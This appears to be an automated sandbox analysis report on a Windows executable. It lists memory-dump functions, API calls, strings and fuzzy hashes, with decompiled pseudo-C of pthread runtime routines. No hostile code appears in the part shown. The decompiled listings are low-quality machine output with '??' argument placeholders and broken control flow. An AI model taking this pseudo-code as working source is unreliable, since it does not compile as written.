CloseHandle.KERNEL32 ref: 0042CD82

Strings

aaaa, xrefs: 0042CCAD
aaaa, xrefs: 0042CCB4
aaaa, xrefs: 0042CC8A
aaaa, xrefs: 0042CC98
aaaa, xrefs: 0042CC91
aaaa, xrefs: 0042CCA6
aaaa, xrefs: 0042CC9F

Memory Dump Source

Source File: 00000006.00000002.569466866.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.569459495.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569612083.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569618790.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.0000000000502000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000506000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.00000000007FF000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: AtomMutex$CloseCreateFindHandleObjectReleaseSingleWaitfreemallocmemcpystrlen
String ID: aaaa$aaaa$aaaa$aaaa$aaaa$aaaa$aaaa
API String ID: 3576127839-3683700703
Opcode ID: 01ea7d4ce6bf8cdff0d76e321fd42d9bb31dbb0f8d82137943a94e3c778bafcc
Instruction ID: 7fa91dbb42b1d9ad2797587325659df306872815a3f261969e2fa012ae6f332a
Opcode Fuzzy Hash: 01ea7d4ce6bf8cdff0d76e321fd42d9bb31dbb0f8d82137943a94e3c778bafcc
Instruction Fuzzy Hash: DB518CB4A087558BC700AF29E48236FBFF0BF48344F50892EE88497345D778E955CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00436AF0 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 110threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,004382C7), ref: 00436B1F

Part of subcall function 00436A80: fprintf.MSVCRT ref: 00436AC0

GetCurrentThreadId.KERNEL32 ref: 00436B55
CreateEventA.KERNEL32(?,?,?,?,?,?,?,?,004382C7), ref: 00436B7C
GetCurrentProcess.KERNEL32 ref: 00436BA3
GetCurrentThread.KERNEL32 ref: 00436BAA
GetCurrentProcess.KERNEL32 ref: 00436BB1
DuplicateHandle.KERNEL32 ref: 00436BE0
GetThreadPriority.KERNEL32 ref: 00436BF6
TlsSetValue.KERNEL32 ref: 00436C27
abort.MSVCRT ref: 00436CC3

Strings

_pthread_tls_once_shmem, xrefs: 00436C50
_pthread_tls_shmem, xrefs: 00436C80, 00436CA6

Memory Dump Source

Source File: 00000006.00000002.569466866.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.569459495.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569612083.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569618790.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.0000000000502000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000506000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.00000000007FF000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: Current$Thread$ProcessValue$CreateDuplicateEventHandlePriorityabortfprintf
String ID: _pthread_tls_once_shmem$_pthread_tls_shmem
API String ID: 3031014995-2793353459
Opcode ID: 022f160535858874cdf869e2d432825f238d8aed7df4ce3145ce44b6bb12e202
Instruction ID: 0a4cc21314bb6703050fc20f37fb0d012e3d94abc6b7699ba87c573fac628daf
Opcode Fuzzy Hash: 022f160535858874cdf869e2d432825f238d8aed7df4ce3145ce44b6bb12e202
Instruction Fuzzy Hash: A8419CB09047029FD700AF66D58431BBFE0EF48354F01A95EE9948B396D77CD848CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00436670 Relevance: 15.2, APIs: 4, Strings: 6, Instructions: 223COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 004366A6
free.MSVCRT ref: 004366B5
free.MSVCRT ref: 004367D6

Strings

idList_shmem, xrefs: 00436780, 00436A36, 00436A5C
pthr_last_shmem, xrefs: 00436920, 00436962
idListMax_shmem, xrefs: 004369E8
pthr_root_shmem, xrefs: 004369C0
idListCnt_shmem, xrefs: 00436837, 0043689D, 00436988, 00436A0E
mtx_pthr_locked_shmem, xrefs: 004368C3, 004368F0

Memory Dump Source

Source File: 00000006.00000002.569466866.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.569459495.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569612083.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569618790.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.0000000000502000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000506000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.00000000007FF000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: free
String ID: idListCnt_shmem$idListMax_shmem$idList_shmem$mtx_pthr_locked_shmem$pthr_last_shmem$pthr_root_shmem
API String ID: 1294909896-1441618966
Opcode ID: 47d7f0151eb60fe39a86d1aea4374055fdf84bd26276adef733f6528ccbb3d01
Instruction ID: 1ed47ff944916ae5163d6bfc6342058b48959d9ed6bd14901f8c8651a5b647e6
Opcode Fuzzy Hash: 47d7f0151eb60fe39a86d1aea4374055fdf84bd26276adef733f6528ccbb3d01
Instruction Fuzzy Hash: B2A16CB0608706EFD704EF25C58432ABBF4EF98748F52D91ED6848B360D7799804DB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00437960 Relevance: 14.4, APIs: 3, Strings: 5, Instructions: 367
COMMON

Download Yara Rule

C-Code - Quality: 16%

			E00437960(signed int __ecx, signed int __edx, signed int _a4, intOrPtr* _a8) {
				signed int _v32;
				intOrPtr _v36;
				char _v40;
				intOrPtr _v48;
				signed int _v52;
				char* _v56;
				signed int _v96;
				intOrPtr* _v100;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t80;
				intOrPtr _t82;
				signed int _t83;
				signed int _t87;
				signed int _t88;
				signed int _t90;
				signed int _t91;
				signed int _t92;
				signed int _t93;
				signed int _t94;
				void* _t97;
				signed int _t98;
				void* _t100;
				signed int* _t101;
				signed int _t106;
				signed int _t107;
				signed int _t108;
				signed int _t109;
				char* _t111;
				signed int _t114;
				void* _t115;
				signed int _t117;
				signed int _t120;
				signed int _t121;
				void* _t122;
				signed int _t123;
				signed int _t125;
				signed int _t127;
				signed int _t134;
				signed int _t135;
				signed int _t137;
				signed int _t141;
				intOrPtr _t145;
				signed int _t146;
				intOrPtr* _t147;
				signed int _t148;
				intOrPtr _t149;
				signed int _t150;
				signed int _t152;
				void* _t153;
				intOrPtr* _t154;
				char** _t157;

				_t139 = __edx;
				_t138 = __ecx;
				_t154 = _t153 - 0x2c;
				_t147 = _a8;
				_t134 = _a4;
				if(_t147 == 0) {
					return 0x16;
				} else {
					if( *_t134 == 1) {
						__eflags = 0;
						return 0;
					} else {
						_t80 = E00435C20(_t134, __ecx, __edx);
						_t3 = _t80 + 4; // 0x4
						_t149 = _t3;
						_t145 = _t80;
						 *_t154 = _t149;
						E0043A510(__ecx);
						_t82 =  *_t134;
						if(_t82 == 0) {
							_v40 = 0x435f10;
							_v36 = _t145;
							_t83 = E00436AF0(_t134, __ecx, _t145, _t147);
							__eflags = _t83;
							if(_t83 == 0) {
								asm("ud2");
								goto L13;
							} else {
								_v32 =  *((intOrPtr*)(_t83 + 0xc));
								asm("lock or dword [esp], 0x0");
								_t125 = E00436AF0(_t134, __ecx, _t145, _t147);
								__eflags = _t125;
								if(_t125 == 0) {
									L14:
									 *0 =  &_v40;
									asm("ud2");
									_push(_t149);
									_push(_t145);
									_t87 = 0x16;
									_push(_t147);
									_push(_t134);
									_t157 = _t154 - 0x1c;
									_t148 = _v56;
									_t146 = _v52;
									__eflags = _t148;
									if(_t148 == 0) {
										L50:
										return _t87;
									} else {
										_t88 =  *0x5011d0;
										__eflags = _t88;
										if(__eflags == 0) {
											_v96 = 0x436cd0;
											_v100 = 4;
											 *_t157 = "_pthread_key_lock_shmem"; // executed
											_t88 = E0043BBA0(__eflags); // executed
											 *0x5011d0 = _t88;
										}
										 *_t157 = _t88;
										E0043CCB0(_t138, _t139);
										_t90 =  *0x5011c8;
										__eflags = _t90;
										if(__eflags == 0) {
											_v96 = 0;
											_v100 = 4;
											 *_t157 = "_pthread_key_sch_shmem"; // executed
											_t90 = E0043BBA0(__eflags); // executed
											 *0x5011c8 = _t90;
										}
										_t135 =  *_t90;
										_t150 = _t135 * 4;
										while(1) {
											_t91 =  *0x5011cc;
											__eflags = _t91;
											if(__eflags != 0) {
												goto L18;
											}
											_v96 = 0;
											_v100 = 4;
											 *_t157 = "_pthread_key_max_shmem"; // executed
											_t123 = E0043BBA0(__eflags); // executed
											__eflags = _t135 -  *_t123;
											 *0x5011cc = _t123;
											if(_t135 <  *_t123) {
												L19:
												_t121 =  *0x5011e4;
												__eflags = _t121;
												if(__eflags == 0) {
													_v96 = 0;
													_v100 = 4;
													 *_t157 = "_pthread_key_dest_shmem";
													_t121 = E0043BBA0(__eflags);
													 *0x5011e4 = _t121;
												}
												_t122 =  *_t121;
												_t20 =  &_a4; // 0x8
												_t139 = _t20;
												_t138 =  *(_t122 + _t150);
												__eflags =  *(_t122 + _t150);
												if( *(_t122 + _t150) == 0) {
													goto L45;
												} else {
													_t135 = _t135 + 1;
													__eflags = _t135;
													_t150 = _t139;
													continue;
												}
											} else {
												L24:
												_t135 = 0;
												while(1) {
													_t92 =  *0x5011c8;
													__eflags = _t92;
													if(__eflags != 0) {
														goto L25;
													}
													_v96 = 0;
													_v100 = 4;
													 *_t157 = "_pthread_key_sch_shmem";
													_t120 = E0043BBA0(__eflags);
													__eflags = _t135 -  *_t120;
													 *0x5011c8 = _t120;
													if(_t135 <  *_t120) {
														L26:
														_t114 =  *0x5011e4;
														__eflags = _t114;
														if(__eflags == 0) {
															_v96 = 0;
															_v100 = 4;
															 *_t157 = "_pthread_key_dest_shmem";
															_t114 = E0043BBA0(__eflags);
															 *0x5011e4 = _t114;
														}
														_t115 =  *_t114;
														_t152 = _t135 * 4;
														__eflags =  *(_t115 + _t135 * 4);
														if( *(_t115 + _t135 * 4) == 0) {
															L45:
															__eflags = _t146;
															 *_t148 = _t135;
															_t117 =  *0x5011e4;
															if(_t146 == 0) {
																__eflags = _t117;
																if(__eflags == 0) {
																	_v96 = 0;
																	_v100 = 4;
																	 *_t157 = "_pthread_key_dest_shmem";
																	_t117 = E0043BBA0(__eflags);
																	 *0x5011e4 = _t117;
																}
																 *( *_t117 + _t152) = 1;
															} else {
																__eflags = _t117;
																if(__eflags == 0) {
																	_v96 = 0;
																	_v100 = 4;
																	 *_t157 = "_pthread_key_dest_shmem";
																	_t117 = E0043BBA0(__eflags);
																	 *0x5011e4 = _t117;
																}
																 *( *_t117 + _t152) = _t146;
															}
															goto L48;
														} else {
															_t135 = _t135 + 1;
															__eflags = _t135;
															continue;
														}
													} else {
														L32:
														_t93 =  *0x5011cc;
														__eflags = _t93;
														if(__eflags == 0) {
															_v96 = 0;
															_v100 = 4;
															 *_t157 = "_pthread_key_max_shmem";
															_t93 = E0043BBA0(__eflags);
															__eflags =  *_t93 - 0x100000;
															 *0x5011cc = _t93;
															if( *_t93 == 0x100000) {
																goto L55;
															} else {
																__eflags = _t93;
																if(__eflags == 0) {
																	_v96 = 0;
																	_v100 = 4;
																	 *_t157 = "_pthread_key_max_shmem";
																	_t93 = E0043BBA0(__eflags);
																	 *0x5011cc = _t93;
																}
																goto L34;
															}
														} else {
															__eflags =  *_t93 - 0x100000;
															if( *_t93 == 0x100000) {
																L55:
																_t94 =  *0x5011d0;
																__eflags = _t94;
																if(__eflags == 0) {
																	_v96 = 0x436cd0;
																	_v100 = 4;
																	 *_t157 = "_pthread_key_lock_shmem";
																	_t94 = E0043BBA0(__eflags);
																	 *0x5011d0 = _t94;
																}
																 *_t157 = _t94;
																E0043CBF0(_t138, _t139, _t150);
																return 0xc;
															} else {
																L34:
																_t97 =  *_t93;
																_t139 = _t97 + _t97;
																__eflags = _t139;
																if(_t139 == 0) {
																	_t139 = _t97 + 1;
																}
																_t98 =  *0x5011e4;
																__eflags = _t139 - 0x100000;
																_t137 =  <=  ? _t139 : 0x100000;
																__eflags = _t98;
																if(__eflags == 0) {
																	_v96 = 0;
																	_v100 = 4;
																	 *_t157 = "_pthread_key_dest_shmem"; // executed
																	_t98 = E0043BBA0(__eflags); // executed
																	 *0x5011e4 = _t98;
																}
																_v100 = 0x400000;
																 *_t157 =  *_t98;
																_t100 = realloc(??, ??);
																__eflags = _t100;
																_t150 = _t100;
																if(_t100 == 0) {
																	goto L55;
																} else {
																	_t101 =  *0x5011cc;
																	__eflags = _t101;
																	if(__eflags == 0) {
																		_v96 = 0;
																		_v100 = 4;
																		 *_t157 = "_pthread_key_max_shmem";
																		_t101 = E0043BBA0(__eflags);
																		 *0x5011cc = _t101;
																	}
																	_t141 =  *_t101;
																	_v100 = 0;
																	_v96 = _t137 - _t141 << 2;
																	 *_t157 = _t150 + _t141 * 4;
																	memset(??, ??, ??);
																	_t106 =  *0x5011e4;
																	__eflags = _t106;
																	if(__eflags == 0) {
																		_v96 = 0;
																		_v100 = 4;
																		 *_t157 = "_pthread_key_dest_shmem";
																		_t106 = E0043BBA0(__eflags);
																		 *0x5011e4 = _t106;
																	}
																	 *_t106 = _t150;
																	_t152 =  *0x5011c8;
																	__eflags = _t152;
																	if(__eflags == 0) {
																		_v96 = 0;
																		_v100 = 4;
																		 *_t157 = "_pthread_key_sch_shmem";
																		_t107 = E0043BBA0(__eflags);
																		_t152 = _t107;
																		 *0x5011c8 = _t107;
																	}
																	_t108 =  *0x5011cc;
																	__eflags = _t108;
																	if(__eflags == 0) {
																		_v96 = 0;
																		_v100 = 4;
																		 *_t157 = "_pthread_key_max_shmem";
																		_t108 = E0043BBA0(__eflags);
																		 *0x5011cc = _t108;
																	}
																	_t138 =  *_t108;
																	__eflags = _t146;
																	 *_t152 =  *_t108 + 1;
																	 *_t148 =  *_t108;
																	 *_t108 = _t137;
																	_t109 =  *0x5011e4;
																	if(_t146 == 0) {
																		__eflags = _t109;
																		if(__eflags == 0) {
																			_v96 = 0;
																			_v100 = 4;
																			 *_t157 = "_pthread_key_dest_shmem";
																			_t109 = E0043BBA0(__eflags);
																			 *0x5011e4 = _t109;
																		}
																		_t139 =  *_t148;
																		 *( *_t109 +  *_t148 * 4) = 1;
																	} else {
																		__eflags = _t109;
																		if(__eflags == 0) {
																			_v96 = 0;
																			_v100 = 4;
																			 *_t157 = "_pthread_key_dest_shmem";
																			_t109 = E0043BBA0(__eflags);
																			 *0x5011e4 = _t109;
																		}
																		_t139 =  *_t148;
																		 *( *_t109 +  *_t148 * 4) = _t146;
																	}
																	L48:
																	_t111 =  *0x5011d0;
																	__eflags = _t111;
																	if(__eflags == 0) {
																		_v96 = 0x436cd0;
																		_v100 = 4;
																		 *_t157 = "_pthread_key_lock_shmem";
																		_t111 = E0043BBA0(__eflags);
																		 *0x5011d0 = _t111;
																	}
																	 *_t157 = _t111;
																	E0043CBF0(_t138, _t139, _t152);
																	_t87 = 0;
																	__eflags = 0;
																	goto L50;
																}
															}
														}
													}
													goto L75;
													L25:
													__eflags = _t135 -  *_t92;
													if(_t135 >=  *_t92) {
														goto L32;
													} else {
														goto L26;
													}
													goto L75;
												}
											}
											goto L75;
											L18:
											__eflags = _t135 -  *_t91;
											if(_t135 >=  *_t91) {
												goto L24;
											} else {
												goto L19;
											}
											goto L75;
										}
									}
								} else {
									_t139 =  &_v40;
									 *((intOrPtr*)(_t125 + 0xc)) =  &_v40;
									asm("lock or dword [esp], 0x0");
									 *_t147();
									_t127 = E00436AF0(_t134, _t138, _t145, _t147);
									__eflags = _t127;
									if(_t127 == 0) {
										L13:
										 *0 = _v32;
										asm("ud2");
										goto L14;
									} else {
										_t139 = _v32;
										 *(_t127 + 0xc) = _v32;
										 *_t134 = 1;
										goto L5;
									}
								}
							}
						} else {
							if(_t82 != 1) {
								_v48 = _t82;
								_v52 = _t134;
								_v56 = " once %p is %d\n";
								 *_t154 = __imp___iob + 0x40;
								fprintf(??, ??);
							}
							L5:
							 *_t154 = _t149;
							E00439EB0(_t138, _t139);
							E00435DA0();
							return 0;
						}
					}
				}
				L75:
			}

0x00437960
0x00437960
0x00437964
0x00437967
0x0043796b
0x00437971
0x004379ec
0x00437973
0x00437976
0x004379d3
0x004379d9
0x00437978
0x0043797a
0x0043797f
0x0043797f
0x00437982
0x00437984
0x00437987
0x0043798c
0x00437990
0x004379f0
0x004379f8
0x004379fc
0x00437a01
0x00437a03
0x00437a48
0x00000000
0x00437a05
0x00437a08
0x00437a0c
0x00437a11
0x00437a16
0x00437a18
0x00437a60
0x00437a64
0x00437a69
0x00437a70
0x00437a71
0x00437a72
0x00437a77
0x00437a78
0x00437a79
0x00437a7c
0x00437a80
0x00437a84
0x00437a86
0x00437c95
0x00437c9c
0x00437a8c
0x00437a8c
0x00437a91
0x00437a93
0x00437d58
0x00437d60
0x00437d68
0x00437d6f
0x00437d74
0x00437d74
0x00437a99
0x00437a9c
0x00437aa1
0x00437aa6
0x00437aa8
0x00437d7e
0x00437d86
0x00437d8e
0x00437d95
0x00437d9a
0x00437d9a
0x00437aae
0x00437ab0
0x00437ae6
0x00437ae6
0x00437aeb
0x00437aed
0x00000000
0x00000000
0x00437aef
0x00437af7
0x00437aff
0x00437b06
0x00437b0b
0x00437b0d
0x00437b12
0x00437ac4
0x00437ac4
0x00437ac9
0x00437acb
0x00437ca0
0x00437ca8
0x00437cb0
0x00437cb7
0x00437cbc
0x00437cbc
0x00437ad1
0x00437ad3
0x00437ad3
0x00437ad6
0x00437ad9
0x00437adb
0x00000000
0x00437ae1
0x00437ae1
0x00437ae1
0x00437ae4
0x00000000
0x00437ae4
0x00437b14
0x00437b14
0x00437b14
0x00437b48
0x00437b48
0x00437b4d
0x00437b4f
0x00000000
0x00000000
0x00437b51
0x00437b59
0x00437b61
0x00437b68
0x00437b6d
0x00437b6f
0x00437b74
0x00437b24
0x00437b24
0x00437b29
0x00437b2b
0x00437cd0
0x00437cd8
0x00437ce0
0x00437ce7
0x00437cec
0x00437cec
0x00437b31
0x00437b33
0x00437b3d
0x00437b3f
0x00437c62
0x00437c62
0x00437c64
0x00437c66
0x00437c6b
0x00437cf6
0x00437cf8
0x00437eaf
0x00437eb7
0x00437ebf
0x00437ec6
0x00437ecb
0x00437ecb
0x00437d00
0x00437c71
0x00437c71
0x00437c73
0x00437da4
0x00437dac
0x00437db4
0x00437dbb
0x00437dc0
0x00437dc0
0x00437c7b
0x00437c7b
0x00000000
0x00437b45
0x00437b45
0x00437b45
0x00000000
0x00437b45
0x00437b80
0x00437b80
0x00437b80
0x00437b85
0x00437b87
0x00437dca
0x00437dd2
0x00437dda
0x00437de1
0x00437de6
0x00437dec
0x00437df1
0x00000000
0x00437df7
0x00437df7
0x00437df9
0x00437dff
0x00437e07
0x00437e0f
0x00437e16
0x00437e1b
0x00437e1b
0x00000000
0x00437df9
0x00437b8d
0x00437b8d
0x00437b93
0x00437d10
0x00437d10
0x00437d15
0x00437d17
0x00437e3d
0x00437e45
0x00437e4d
0x00437e54
0x00437e59
0x00437e59
0x00437d1d
0x00437d20
0x00437d31
0x00437b99
0x00437b99
0x00437b99
0x00437b9d
0x00437b9d
0x00437b9f
0x00437ba1
0x00437ba1
0x00437ba4
0x00437ba9
0x00437bb4
0x00437bbe
0x00437bc0
0x00437e63
0x00437e6b
0x00437e73
0x00437e7a
0x00437e7f
0x00437e7f
0x00437bc6
0x00437bcc
0x00437bcf
0x00437bd4
0x00437bd6
0x00437bd8
0x00000000
0x00437bde
0x00437bde
0x00437be3
0x00437be5
0x00437e89
0x00437e91
0x00437e99
0x00437ea0
0x00437ea5
0x00437ea5
0x00437beb
0x00437bef
0x00437c00
0x00437c04
0x00437c07
0x00437c0c
0x00437c11
0x00437c13
0x00437f23
0x00437f2b
0x00437f33
0x00437f3a
0x00437f3f
0x00437f3f
0x00437c19
0x00437c1b
0x00437c21
0x00437c23
0x00437efb
0x00437f03
0x00437f0b
0x00437f12
0x00437f17
0x00437f19
0x00437f19
0x00437c29
0x00437c2e
0x00437c30
0x00437ed5
0x00437edd
0x00437ee5
0x00437eec
0x00437ef1
0x00437ef1
0x00437c36
0x00437c38
0x00437c3d
0x00437c42
0x00437c44
0x00437c46
0x00437c4b
0x00437e25
0x00437e27
0x00437f6f
0x00437f77
0x00437f7f
0x00437f86
0x00437f8b
0x00437f8b
0x00437e2d
0x00437e31
0x00437c51
0x00437c51
0x00437c53
0x00437f49
0x00437f51
0x00437f59
0x00437f60
0x00437f65
0x00437f65
0x00437c59
0x00437c5d
0x00437c5d
0x00437c7e
0x00437c7e
0x00437c83
0x00437c85
0x00437d32
0x00437d3a
0x00437d42
0x00437d49
0x00437d4e
0x00437d4e
0x00437c8b
0x00437c8e
0x00437c93
0x00437c93
0x00000000
0x00437c93
0x00437bd8
0x00437b93
0x00437b87
0x00000000
0x00437b20
0x00437b20
0x00437b22
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00437b22
0x00437b48
0x00000000
0x00437ac0
0x00437ac0
0x00437ac2
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00437ac2
0x00437ae6
0x00437a1a
0x00437a1a
0x00437a1e
0x00437a21
0x00437a26
0x00437a28
0x00437a2d
0x00437a2f
0x00437a50
0x00437a54
0x00437a59
0x00000000
0x00437a31
0x00437a31
0x00437a35
0x00437a38
0x00000000
0x00437a38
0x00437a2f
0x00437a18
0x00437992
0x00437995
0x00437997
0x004379a0
0x004379a4
0x004379af
0x004379b2
0x004379b2
0x004379b7
0x004379b7
0x004379ba
0x004379c1
0x004379cf
0x004379cf
0x00437990
0x00437976
0x00000000

APIs

fprintf.MSVCRT ref: 004379B2

Strings

_pthread_key_sch_shmem, xrefs: 00437B61, 00437D8E, 00437F0B
once %p is %d, xrefs: 004379A4
_pthread_key_lock_shmem, xrefs: 00437D42, 00437D68, 00437E4D
_pthread_key_dest_shmem, xrefs: 00437CB0, 00437CE0, 00437DB4, 00437E73, 00437EBF, 00437F33, 00437F59, 00437F7F
_pthread_key_max_shmem, xrefs: 00437AFF, 00437DDA, 00437E0F, 00437E99, 00437EE5

Memory Dump Source

Source File: 00000006.00000002.569466866.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.569459495.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569612083.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569618790.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.0000000000502000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000506000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.00000000007FF000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: fprintf
String ID: once %p is %d$_pthread_key_dest_shmem$_pthread_key_lock_shmem$_pthread_key_max_shmem$_pthread_key_sch_shmem
API String ID: 383729395-1171152870
Opcode ID: 5685f120ea48a94a5dabf1638a486bfd11d750c531b1d82980e64cb85cc11108
Instruction ID: 2dbccbd234fba537da6c9a9e9e8c559ea487f4512d6faa3297168bf0303cd565
Opcode Fuzzy Hash: 5685f120ea48a94a5dabf1638a486bfd11d750c531b1d82980e64cb85cc11108
Instruction Fuzzy Hash: 5EE128F0608705DFD720EF65D58072ABBE0EF88344F11A81EE6C58B360D779A844DB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00435F30 Relevance: 12.5, APIs: 3, Strings: 4, Instructions: 280COMMON

Download Yara Rule

APIs

realloc.MSVCRT ref: 00435FA8
memmove.MSVCRT ref: 00436181
malloc.MSVCRT ref: 004361B8

Strings

idList_shmem, xrefs: 004360F4, 004361F7, 004362F1, 0043633D, 004363DC, 00436428
idListMax_shmem, xrefs: 0043627F, 00436390, 004363B6, 00436402
idListCnt_shmem, xrefs: 0043621F, 00436259, 004362A5, 004362CB, 0043636A
idListNextId_shmem, xrefs: 00436029, 00436124, 0043619B, 00436317

Memory Dump Source

Source File: 00000006.00000002.569466866.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.569459495.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569612083.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569618790.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.0000000000502000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000506000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.00000000007FF000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: mallocmemmoverealloc
String ID: idListCnt_shmem$idListMax_shmem$idListNextId_shmem$idList_shmem
API String ID: 1823370115-105674772
Opcode ID: 5db34df3abeaf87f458345bd4094641f1806b6a20cff7c840a3e3cec161bc311
Instruction ID: ad58c5f00a9747c617910fd62c7c8647e11400dea17e14beeb254523e0fc61c4
Opcode Fuzzy Hash: 5db34df3abeaf87f458345bd4094641f1806b6a20cff7c840a3e3cec161bc311
Instruction Fuzzy Hash: C4C15AB0608702EFD704DF15C58071B7BF4AB88384F52D91EE6858B360D779D848EB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00436440 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 16%

			E00436440() {
				char _v20;
				intOrPtr _v24;
				char* _t16;
				char** _t18;
				void* _t19;
				char* _t20;
				char _t23;
				char _t25;
				char** _t26;
				void* _t27;
				char* _t28;
				void* _t29;
				char _t30;
				void* _t31;
				char** _t32;

				_t32 = _t31 - 0x18;
				_t16 =  *0x5011bc;
				if(_t16 == 0) {
					_v20 = 0x435aa0;
					_v24 = 4;
					 *_t32 = "mtx_pthr_locked_shmem"; // executed
					_t16 = E0043BBA0(__eflags); // executed
					 *0x5011bc = _t16;
				}
				 *_t32 = _t16;
				E0043A510(_t29);
				_t18 =  *0x5011c4;
				if(_t18 == 0) {
					_v20 = 0;
					_v24 = 4;
					 *_t32 = "pthr_root_shmem"; // executed
					_t18 = E0043BBA0(__eflags); // executed
					 *0x5011c4 = _t18;
				}
				_t28 =  *_t18;
				if(_t28 == 0) {
					_v24 = 0xb4;
					 *_t32 = 1;
					_t19 = calloc(??, ??);
					__eflags = _t19;
					_t28 = _t19;
					if(__eflags != 0) {
						_t23 = E00435F30(_t19);
						__eflags = _t23;
						if(__eflags == 0) {
							 *_t32 = _t28;
							_t28 = 0;
							free(??);
						} else {
							_t28[0xb0] = _t23;
						}
					}
					goto L7;
				} else {
					_t25 = E00435F30(_t28);
					_t28[0xb0] = _t25;
					if(_t25 != 0) {
						_t26 =  *0x5011c4;
						if(_t26 == 0) {
							_v20 = 0;
							_v24 = 4;
							 *_t32 = "pthr_root_shmem";
							_t26 = E0043BBA0(__eflags);
							 *0x5011c4 = _t26;
						}
						_t30 = _t28[0xac];
						 *_t26 = _t30;
						if(_t30 == 0) {
							_t27 =  *0x5011c0;
							__eflags = _t27;
							if(__eflags == 0) {
								_v20 = 0;
								_v24 = 4;
								 *_t32 = "pthr_last_shmem";
								_t27 = E0043BBA0(__eflags);
								 *0x5011c0 = _t27;
							}
							 *_t27 = 0;
						}
						_t28[0xac] = 0;
					} else {
						_t28 = 0;
					}
					L7:
					_t20 =  *0x5011bc;
					if(_t20 == 0) {
						_v20 = 0x435aa0;
						_v24 = 4;
						 *_t32 = "mtx_pthr_locked_shmem";
						_t20 = E0043BBA0(__eflags);
						 *0x5011bc = _t20;
					}
					 *_t32 = _t20;
					E00439EB0(_t29, _t30);
					return _t28;
				}
			}

0x00436441
0x00436444
0x0043644b
0x00436520
0x00436528
0x00436530
0x00436537
0x0043653c
0x0043653c
0x00436451
0x00436454
0x00436459
0x00436460
0x00436550
0x00436558
0x00436560
0x00436567
0x0043656c
0x0043656c
0x00436466
